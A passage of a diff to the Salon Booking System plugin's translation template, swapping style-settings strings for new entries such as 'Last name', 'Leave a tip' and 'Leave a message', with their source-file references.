views\u002Fsettings\u002Ftab_style.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:20\n-msgid \"Select your favorite booking form layout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32\n+msgid \"Last Name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:21, views\u002Fsettings\u002Ftab_style.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:52\n-msgid \"Choose the one that best fits your page\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35\n+msgid \"Last name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:62\n-msgid \"Custom colors are enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:529\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:529\n+msgid \"Last name can't be empty\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:63\n-msgid \"Custom colors are disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:529\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:529\n+msgid \"Last Quarter\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:68\n-msgid \"Customize colors of the salon shortcode.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388\n+msgid \"Last step note\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:75\n-msgid \"Sample page\u002Fstep title\"\n+#. %1$s will be replaced by the last update date, %2$s will be replaced by the last update time\n+#. %1$s will be replaced by the date last update, %2$s will be replaced by the time last update\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37\n+#, php-format\n+msgid \"Last update on %1$s at %2$s\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:76\n-msgid \"Sample label\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:524\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:524\n+msgid \"Last Visit\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:77\n-msgid \"Sample input\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:525\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:525\n+msgid \"Last Week\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:78\n-msgid \"Sample button\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:531\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:531\n+msgid \"Last Year\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:104\n-msgid \"Background color\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54\n+msgid \"lastname\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:111, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:111, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:111\n-msgid \"Main color\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35\n+msgid \"Learn more\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:118\n-msgid \"Text color\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:148\n+msgid \"Leave a feedback\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:140\n-msgid \"Ajax steps \u003Cspan>This allows loading steps via ajax\u003C\u002Fspan>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:176\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:176\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:211\n+msgid \"Leave a message\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:145, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:145, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:145\n-msgid \"Enable ajax steps\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:200\n+msgid \"Leave a message.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:148\n-msgid \"This allows loading steps via ajax for a more smooth booking form transition.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:189\n+msgid \"Leave a tip\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:156, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:156, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:156\n-msgid \"Disable bootstrap assets\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65\n+msgid \"Leave it blank for an unlimited times of usage\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:160\n-msgid \"CSS on front-end\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105\n+msgid \"Leave it blank if you want to be applied to all assistants\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:163, views\u002Fsettings\u002Ftab_style.php:171, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:171, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:163, 